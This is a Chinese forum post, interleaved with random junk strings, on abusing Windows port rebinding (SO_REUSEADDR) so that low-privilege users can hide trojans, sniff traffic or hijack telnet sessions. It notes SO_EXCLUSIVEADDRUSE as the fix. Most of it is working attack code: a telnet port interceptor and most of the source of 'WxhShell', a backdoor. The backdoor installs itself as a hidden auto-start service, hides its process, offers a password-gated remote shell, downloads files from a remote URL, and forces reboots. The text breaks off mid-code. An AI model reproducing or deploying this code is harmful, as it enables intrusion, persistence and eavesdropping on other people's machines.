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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~&j`9jdOj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gA 6h5F)_  
0@FM^ejA#  
  saddr.sin_family = AF_INET; cf[u%{ 6Y  
("J V:u.L+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rM >V=|9,  
vX0I^ 8.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j~L1~@  
#Wc #fP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Vw;ldEdx  
c] >&6-;rf  
  这意味着什么?意味着可以进行如下的攻击: vo( j@+dz  
p,AD!~n`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /@nRL  
64 \5v?C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #G , *j  
Vg,>7?]6h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )D@n?qbG  
4(0t GF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Va |9)m  
xjhAAM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 548 [! p4  
]20 "la5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =u3@ Dhw  
L5k>;|SA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "k1Tsd-  
yDkDtO`K  
  #include F)5B[.ce  
  #include C8W`Oly:]  
  #include |Q)w3\S$  
  #include    PSQ:'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6[2?m*BsN  
  int main() xE-c9AH  
  { ! 7*_Z=  
  WORD wVersionRequested; (jE:Q2"  
  DWORD ret;  ~!d)J  
  WSADATA wsaData; B%g:Z  
  BOOL val; F3 l^^ Mc  
  SOCKADDR_IN saddr; |o=\9:wV  
  SOCKADDR_IN scaddr; -J7,Nw  
  int err; .SV3<)  
  SOCKET s; HFx"fT  
  SOCKET sc; AB &wn>q  
  int caddsize; !4,xQ ^   
  HANDLE mt; o`8+#+@f7  
  DWORD tid;   :0j`yo:w  
  wVersionRequested = MAKEWORD( 2, 2 ); AUjTcu>i  
  err = WSAStartup( wVersionRequested, &wsaData ); 'kg]|"M  
  if ( err != 0 ) { #Xw[i  
  printf("error!WSAStartup failed!\n"); L%O8vn^3  
  return -1; ~W*j^+T"  
  } 8(/f!~  
  saddr.sin_family = AF_INET; OUk5c$M(  
   i[\u-TF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U6'haPlOk%  
PW//8lsR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IS 9q 5/]  
  saddr.sin_port = htons(23); ecZOX$'5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s&`XK$p  
  { YB3=ij!K  
  printf("error!socket failed!\n"); M@X#[w:  
  return -1; dlzamoS@AR  
  } 9c % Tv  
  val = TRUE; 1LIV/l^}f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RrpF i'R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kBT}Siw  
  { A}Dpw[Q2@8  
  printf("error!setsockopt failed!\n"); yW(+?7U  
  return -1; 0\ w[_H  
  } 'CO[s.03  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !K~$ -jlT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^r :A^q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;GT)sI   
7-IeJ6,D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1`_)%Y[ZJ  
  { N_Ld,J%g  
  ret=GetLastError(); 2\tjeg  
  printf("error!bind failed!\n"); xy3%z  
  return -1; "}+/ 0$F  
  } Hf{%N'4  
  listen(s,2); &p4<@k\L  
  while(1) KmOa^vY1.T  
  { 5 t?2B]  
  caddsize = sizeof(scaddr); V"jnrNs3  
  //接受连接请求 ^|;4/=bbs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R,+(JgJ  
  if(sc!=INVALID_SOCKET) !D&MJThNy  
  { c+/C7C o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YY~=h5$  
  if(mt==NULL) j:KQIwc  
  { rg/vxTl  
  printf("Thread Creat Failed!\n"); slfVQ809  
  break; Y mjS!H  
  } :=eUNH  
  } J\D3fh97-  
  CloseHandle(mt); 2B dr#qr  
  } l*H"]6cXRL  
  closesocket(s); !QS<;)N@  
  WSACleanup(); " z'!il#  
  return 0; wR$8drn]Rq  
  }   _N';`wjDY  
  DWORD WINAPI ClientThread(LPVOID lpParam) XqH<)B ]  
  { aW$nNUVD  
  SOCKET ss = (SOCKET)lpParam; 4yv31QG$  
  SOCKET sc;  Bt3=/<.\  
  unsigned char buf[4096]; ta., 4R&K  
  SOCKADDR_IN saddr; M)^9e?  
  long num; 1u+ (rVQN  
  DWORD val; H5 hUY'O  
  DWORD ret; %pQ o%<d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gjLgeyyWC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @0'|Uygn  
  saddr.sin_family = AF_INET; vGT.(:\-,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >{Z=cv/6o  
  saddr.sin_port = htons(23); j!7Uj]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z1s"C[W2T  
  { ved Qwzh  
  printf("error!socket failed!\n"); 7b2<, .E  
  return -1; |R/50axI  
  } (C@@e'e  
  val = 100; 0Jh:6F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UdJV;T'rm  
  { !#qB%E]a  
  ret = GetLastError(); 6J+ZeBk??  
  return -1; TL gVuY  
  } 4HE4e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :%MWbnVSC,  
  { #?6RoFgMe  
  ret = GetLastError(); 'Sh5W%NM  
  return -1; .9Fm>e+!C  
  } q:.BY}X9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .p>8oOp  
  { &}1)]6q$  
  printf("error!socket connect failed!\n"); c.v)M\:  
  closesocket(sc); K_n%`5  
  closesocket(ss); j3&*wU_  
  return -1; musxX58%  
  } 5K{h)* *5  
  while(1) e*H$c?7NL  
  { 0{F.DDiNT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nVzo=+Yp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PM7/fv*,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UXHFti/A<  
  num = recv(ss,buf,4096,0); Shz;)0To  
  if(num>0) sKO ;p  
  send(sc,buf,num,0); g"Bv!9*H  
  else if(num==0) ] ),' =@  
  break; }DaYO\:yK*  
  num = recv(sc,buf,4096,0); "g-NUl`'  
  if(num>0) y>8?RX8  
  send(ss,buf,num,0);  <@u6*]  
  else if(num==0) 6< Z9p@6  
  break; z, [ +  
  } &)-?=M  
  closesocket(ss); :^a$ve3(Jq  
  closesocket(sc); 2-84  
  return 0 ; 5Y^ YKV{  
  } ?f..N,s  
f6 nltZ  
^ZG1  
========================================================== HrGX-6`  
LKcrr;  
下边附上一个代码,,WXhSHELL M.xEiHz  
:xCobMs_/  
========================================================== r$5!KO  
$hio (   
#include "stdafx.h" jQ*Qh  
#Gx@\BE{  
#include <stdio.h> 0 i"OG( ,  
#include <string.h> dp_q:P4; B  
#include <windows.h> Ek3O{<  
#include <winsock2.h> 2uIAnbW]M  
#include <winsvc.h> 4<|u~n*JF  
#include <urlmon.h> 7|rT*-Ia  
5S LF1u;  
#pragma comment (lib, "Ws2_32.lib") d yd_dK/  
#pragma comment (lib, "urlmon.lib") qb&*,zN  
Ry C7  
#define MAX_USER   100 // 最大客户端连接数 YSbN=Rj  
#define BUF_SOCK   200 // sock buffer xX ZN<<f59  
#define KEY_BUFF   255 // 输入 buffer OK=t)6&b  
TL>e[ PBO  
#define REBOOT     0   // 重启 ]7;;uhn`  
#define SHUTDOWN   1   // 关机 s/V[tEC*z  
Cb.Aw!  
#define DEF_PORT   5000 // 监听端口 B_> Fd&  
lV8Mr6m  
#define REG_LEN     16   // 注册表键长度  UWI5 /R  
#define SVC_LEN     80   // NT服务名长度 N *fN&0r  
I$$!YMm.N  
// 从dll定义API C$8=HM3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6%TV X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h(BN6ZrzKd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !SnpesTn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $3>|R lxYA  
K\G|q}E/1  
// wxhshell配置信息 m`Z4#_s2  
struct WSCFG { i|*:gH  
  int ws_port;         // 监听端口 0 !Yi.'+  
  char ws_passstr[REG_LEN]; // 口令 5s;#C/ZZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ne%X:h  
  char ws_regname[REG_LEN]; // 注册表键名 Jy9&=Qh   
  char ws_svcname[REG_LEN]; // 服务名 _>s.V`N'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fOfp.`n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g(1'i1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y^ohns5{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y3?kj@T`i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; ?!sU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >|<6s],v  
@:}z\qBM  
}; V;$lgTs|'  
!T}`h'  
// default Wxhshell configuration m9/a!|fBE  
struct WSCFG wscfg={DEF_PORT, q_!3<.sf  
    "xuhuanlingzhe", 4_$f "6  
    1, 1*Z}M%  
    "Wxhshell", QeGU]WU{  
    "Wxhshell", '?\Hm'8  
            "WxhShell Service", b+kb7  
    "Wrsky Windows CmdShell Service", Y#\e~>K  
    "Please Input Your Password: ", @uc%]V<:k  
  1, kns[b [!H  
  "http://www.wrsky.com/wxhshell.exe", 3'8~H]<W  
  "Wxhshell.exe" fy-( B;  
    }; "YivjHa7H  
}G]]0Oi2  
// 消息定义模块 Mf?4 `LM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ou/{PK}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~! @a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (q)W<GYP  
char *msg_ws_ext="\n\rExit."; $lvpBs  
char *msg_ws_end="\n\rQuit."; .NjOaK)\  
char *msg_ws_boot="\n\rReboot..."; ~U`aH~R  
char *msg_ws_poff="\n\rShutdown..."; t JJaIb6Xj  
char *msg_ws_down="\n\rSave to "; {9(N?\S1`a  
wEdXaOEB5  
char *msg_ws_err="\n\rErr!"; _]B'C  
char *msg_ws_ok="\n\rOK!"; C3|M\[*fp  
\5Hfe;ny-~  
char ExeFile[MAX_PATH]; w!61k \  
int nUser = 0; \2uQ"kJC  
HANDLE handles[MAX_USER]; #U^@)g6  
int OsIsNt; `Do-!G+W  
HH^eEh4g  
SERVICE_STATUS       serviceStatus; lE4.O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h 9No'!'!  
}_K7}] 1  
// 函数声明 C/)Xd^#  
int Install(void); U`xjau+  
int Uninstall(void); 'En6h"{  
int DownloadFile(char *sURL, SOCKET wsh); F;kNc:X`)  
int Boot(int flag); QHK$2xtq|  
void HideProc(void); NI3_wV  
int GetOsVer(void); -e30!A  
int Wxhshell(SOCKET wsl); jfk`%C Ek=  
void TalkWithClient(void *cs); z`lDD  
int CmdShell(SOCKET sock); 8dP^zjPj  
int StartFromService(void);  a(F%M  
int StartWxhshell(LPSTR lpCmdLine); h&&ufF]D  
ENygD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~h -0rE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); op;OPf,  
I U/gYFT  
// 数据结构和表定义 Ue! &Vm  
SERVICE_TABLE_ENTRY DispatchTable[] = 0m!+gZ@  
{ >a[)F  
{wscfg.ws_svcname, NTServiceMain}, 5EM(3eY^q  
{NULL, NULL} ,'[0tl}8K  
}; 0X.pI1jCO  
F8f@^LVM/  
// 自我安装 tQF,E&Jo8  
int Install(void) 1Jt5|'tl  
{ Hr:WE+'  
  char svExeFile[MAX_PATH]; PE0A`  
  HKEY key; u`3J2 ,.  
  strcpy(svExeFile,ExeFile); e+j7dmGa  
fQM:NI? 9?  
// 如果是win9x系统,修改注册表设为自启动 Ab/gY$l  
if(!OsIsNt) { |X0h-kX4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >2TDYB|;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2/3,%5j_  
  RegCloseKey(key); Jc95Ki1X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gh#9<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <`}Oi 5nW  
  RegCloseKey(key); x[zt(kC0+  
  return 0; ,E<(K8  
    } /^SIJS@^`>  
  } [2:Q.Zj  
} vvwNJyU-  
else { qS:hv&~  
E0[ec6^qwY  
// 如果是NT以上系统,安装为系统服务 yHsmX2s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9ePG-=5I  
if (schSCManager!=0) gs7h`5[es  
{ ~dg7c{o5  
  SC_HANDLE schService = CreateService EBc_RpC/Z  
  ( *]:gEO  
  schSCManager, 9!&fak _  
  wscfg.ws_svcname, `7[z%cuK  
  wscfg.ws_svcdisp, `fYICp  
  SERVICE_ALL_ACCESS, .SzP ig  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pUi|&F K">  
  SERVICE_AUTO_START, *mwHuGbZed  
  SERVICE_ERROR_NORMAL, 0]p! Bscaf  
  svExeFile, _~]~ssn,1  
  NULL, noJ5h |  
  NULL, QQ;<L"VW  
  NULL, g<(3wL,"  
  NULL, Y">m g=B  
  NULL 5n{J}0C  
  ); B)>r~v]  
  if (schService!=0) o}O"  
  { <+o*"z\mI  
  CloseServiceHandle(schService); YW9r'{(D(I  
  CloseServiceHandle(schSCManager); S{wR Z|8U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;r'y/ Y'?  
  strcat(svExeFile,wscfg.ws_svcname); dp;;20z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }81eef4$S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HGIPz{/5U  
  RegCloseKey(key); ])Rs.Y{Q5  
  return 0; Z1Y/2MVSb  
    } 4 JC*c  
  } 7m='-_w)?w  
  CloseServiceHandle(schSCManager); "u^%~2  
} nwSujD  
} NEp )V'  
su:~X d  
return 1; ]:H((rk  
} Zfwhg4G~  
7uy?%5  
// 自我卸载 Q5Yy \M  
int Uninstall(void) S=NP}4w,_)  
{ FVY$A =G  
  HKEY key; H[oCI|k  
Qg9*mlm`  
if(!OsIsNt) { o9GtS$ O\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )\K;Ncp[  
  RegDeleteValue(key,wscfg.ws_regname); PH!^ww6  
  RegCloseKey(key); zt,Tda4Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F/8="dM  
  RegDeleteValue(key,wscfg.ws_regname); itotn!Wb`  
  RegCloseKey(key); <;eXbO>Q  
  return 0; 1=o|[7  
  } xbUL./uj  
} %3SBs*?  
} V%|CCrR  
else { _T\/kJ)Q\  
*aem5 E`c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jeb"t1.$  
if (schSCManager!=0) Xgb ~ED]  
{ KH=4A-e,0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s<#["K*_  
  if (schService!=0) $!Qv f  
  { =@ SJyW  
  if(DeleteService(schService)!=0) { +F>9hA  
  CloseServiceHandle(schService); 6I8A[   
  CloseServiceHandle(schSCManager); X6h@K</c^:  
  return 0; @'5*u~M  
  } O8\>?4)  
  CloseServiceHandle(schService); [nYm-\M  
  } n7EG%q6m+  
  CloseServiceHandle(schSCManager); fC4#b?Q  
} JyiP3whW  
} LA +BH_t&  
6x]x>:8  
return 1; `S)*(s?T  
} h=a-~= 8  
EdH;P \c  
// 从指定url下载文件 4hQ.RO  
int DownloadFile(char *sURL, SOCKET wsh) 1K&_t  
{ BdMmeM2h  
  HRESULT hr; 'gD,H X  
char seps[]= "/"; B)L=)N  
char *token; ,)svSzR  
char *file; NT1"?Thx|  
char myURL[MAX_PATH]; 'B"A*!" b  
char myFILE[MAX_PATH]; 178u4$# b  
\h{M\bSIEa  
strcpy(myURL,sURL); 03)R_A  
  token=strtok(myURL,seps); hRc.^"q9  
  while(token!=NULL) <w1# 3Mu'  
  { P&g.%8b~84  
    file=token; U%PII>s'#  
  token=strtok(NULL,seps); Qnr7Qnb  
  } .dE2,9{Z  
;$FpxurX  
GetCurrentDirectory(MAX_PATH,myFILE); d*cAm$  
strcat(myFILE, "\\"); 8T]x4JQ0  
strcat(myFILE, file); qX_( M2oLU  
  send(wsh,myFILE,strlen(myFILE),0); IncHY?ud<  
send(wsh,"...",3,0); fGf C[DuY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +`(,1L1  
  if(hr==S_OK) Q($.s=&l;  
return 0; h%=>iQ%enc  
else wOg?.6<Kxa  
return 1; )=9EShz!  
%~{G*%:  
} #q-7#pp  
"Vw;y+F}  
// 系统电源模块 4Y x\U  
int Boot(int flag) ajJ+Jn\  
{ _?m%i]~o  
  HANDLE hToken; wF\5 X  
  TOKEN_PRIVILEGES tkp; ^{l^Z +b.  
xlHC?d0}  
  if(OsIsNt) { tUrwg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D,( "3zx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jWE?$r"  
    tkp.PrivilegeCount = 1; .$s>b#mO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wU $j/~L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $TK<~3`  
if(flag==REBOOT) { (Z)F6sZ`8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $p?TE8G  
  return 0; M~SbIk<#a<  
} 4xl}kmvv  
else { &}."sGK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 Vq)& N  
  return 0; + m+v1(@  
} i^I U)\   
  } 84|oqwZO  
  else { #y2IHO-  
if(flag==REBOOT) { 6$*\%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WKDa]({k%  
  return 0; Yg<4}l."  
} a}#8n^2  
else { _ !r]**  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V W2+ Bs}  
  return 0; &X`zk  
} <,\Op=$l3I  
} VAL]\@Q}  
#l<un<  
return 1; KN\*|)  
} mcgkNED  
BnwYyh  
// win9x进程隐藏模块 ) Z^b)KAk  
void HideProc(void) \YN(rD-  
{ Rg,]d u u?  
$bd tiD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !STa}wl  
  if ( hKernel != NULL ) r}%2;!T  
  { E{B8+T:3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R8(Bt73  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &'{?Y;A  
    FreeLibrary(hKernel); 2]i>kV/,0  
  } WNo",Vc  
vk>EFm8l  
return;  =o? Q0  
} 8+=-!": ]  
=e j'5m($3  
// 获取操作系统版本 ^W)h=49PN  
int GetOsVer(void) %'`L+y  
{ qy$1+>f1  
  OSVERSIONINFO winfo; <^v-y)%N:A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }]K^b1Fs5  
  GetVersionEx(&winfo); g6V>_|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ak=|wY{  
  return 1; +`_Km5=  
  else -s5>GwZt  
  return 0; DM[gjfMXu  
} Of?3|I3 l  
N |nZf5{  
// 客户端句柄模块 u ^}R]:n  
int Wxhshell(SOCKET wsl) rfwX:R6,g  
{ Aav|N3  
  SOCKET wsh; FsTl@zN  
  struct sockaddr_in client; 2z+-vT%  
  DWORD myID; AhauNS^"{R  
x+;"(]#  
  while(nUser<MAX_USER) l<"Z?z  
{ q?TI(J+/  
  int nSize=sizeof(client); 1.6Y=Mh=i[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9@{=2 k  
  if(wsh==INVALID_SOCKET) return 1; HgfeSH  
uu`G<n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '3'*VcL(  
if(handles[nUser]==0) g*a|QBj%  
  closesocket(wsh); ,lUr[xzV  
else xTV3U9 v  
  nUser++; 2Ysl|xRo  
  } iF!r}fUU6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GDBxciv  
@Z{!T)#}j  
  return 0; 9d8bh4[  
} +GDT@,/  
=xX)2h  
// 关闭 socket =(%+S<}  
void CloseIt(SOCKET wsh) i<>zN^zn  
{ 1,pg7L8H  
closesocket(wsh); L,PD4H"8  
nUser--; $EUlh^  
ExitThread(0); n |Is&fy  
} d4[mR~XXT  
H}}g\|r&  
// 客户端请求句柄 *!p#1fE  
void TalkWithClient(void *cs) ZL{\M|@jz  
{ k6|wiSyu  
S{.G=O  
  SOCKET wsh=(SOCKET)cs; ^9wQl!e ob  
  char pwd[SVC_LEN]; z:a%kZQ!0  
  char cmd[KEY_BUFF]; v$_YZm{!<  
char chr[1]; z&@O\>Q  
int i,j; hErO.ad1o  
-Uu65m~:{k  
  while (nUser < MAX_USER) { Qe,aIh  
W2 p&LP  
if(wscfg.ws_passstr) { +PfXc?VU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }_ [Bp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c u:1|gt  
  //ZeroMemory(pwd,KEY_BUFF); |y}iOI  
      i=0; $Lx2!Zy  
  while(i<SVC_LEN) { m.0: R  
p.50BcDg  
  // 设置超时 #eKg!]4-R  
  fd_set FdRead; AFN"#M  
  struct timeval TimeOut; vD@ =V#T  
  FD_ZERO(&FdRead); [ _N w5_  
  FD_SET(wsh,&FdRead); 20Rj Rd  
  TimeOut.tv_sec=8; LH_rc  
  TimeOut.tv_usec=0; U 4Sxr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ =(r6X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kl/eJN'S  
 WPnw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M,V~oc5  
  pwd=chr[0]; =k +nC)e  
  if(chr[0]==0xd || chr[0]==0xa) { {@tqeu%IM  
  pwd=0; brXLx +H8  
  break; DE659=Tq  
  } 52H'aHO1  
  i++; /yhGc}h  
    } g(`m#&P>G  
|?=a84n1l  
  // 如果是非法用户,关闭 socket 5:r*em  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FWu[{X;  
} F{;{o^Pv  
^}>Ie03m50  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l]wjH5mz=i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~,jBm^4  
(^)" qs B  
while(1) { Nu]& ?  
BXx0Z %e.3  
  ZeroMemory(cmd,KEY_BUFF); R<-u`uX nP  
#MwNyZ  
      // 自动支持客户端 telnet标准   4x;vn8 yh  
  j=0; @s[Vtw%f  
  while(j<KEY_BUFF) { U|2*.''+Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g82_KUkB  
  cmd[j]=chr[0]; 1B#Z<p  
  if(chr[0]==0xa || chr[0]==0xd) { }/cMG/%  
  cmd[j]=0; W:z?w2{VI(  
  break; JxlU=7cF  
  } 93+p~?  
  j++; |1z?#@BH  
    } WhU-^`[*  
yv&VK ht  
  // 下载文件 >^\}"dEvr  
  if(strstr(cmd,"http://")) { XC NM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :p6.v>s8  
  if(DownloadFile(cmd,wsh)) N=hhuKt]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {y0`p1  
  else Kq. MmR!gl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \8 ~`NF  
  } Ait3KIJ9  
  else { _ U%fD|t  
g*uo2-MN&e  
    switch(cmd[0]) { 'c")]{  
  L4wKG&  
  // 帮助 ~ R:=zGDV  
  case '?': { 4Z"JC9As  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3$E\B=7/U  
    break; XX@@tzN  
  } p~h)@  
  // 安装  | D?lF  
  case 'i': { |` +G7?)Y  
    if(Install()) Q8^fgI|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vxmz3ht,Q  
    else l[)ZEEP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K.{:H4_  
    break; x9&{@ ?o  
    } pMfP3G7V  
  // 卸载 EP ;TfWc}1  
  case 'r': { 5/m^9@A  
    if(Uninstall()) Fo0dz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >#j f Z5t  
    else 4jyDM68i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_sQC5:s  
    break; V6.w=6:`X  
    } oK!W<#  
  // 显示 wxhshell 所在路径 pP`KI'aUN  
  case 'p': { :gvw5h%  
    char svExeFile[MAX_PATH]; X9lh@`3  
    strcpy(svExeFile,"\n\r"); qit D{;  
      strcat(svExeFile,ExeFile); !x, ;&  
        send(wsh,svExeFile,strlen(svExeFile),0); :W++`f&  
    break; ee9nfvG-  
    } _Coh11  
  // 重启 HalkNR-eEm  
  case 'b': { kN99(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jZ;dY~fE  
    if(Boot(REBOOT)) x-Cy,d:YX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /61P`1y(J  
    else { ~MOab e  
    closesocket(wsh); 5,pKv  
    ExitThread(0); 99<0xN(25  
    } XehpW}2\  
    break; D)u 9Y  
    } WrS|$: 0  
  // 关机 cjd Z.jR2  
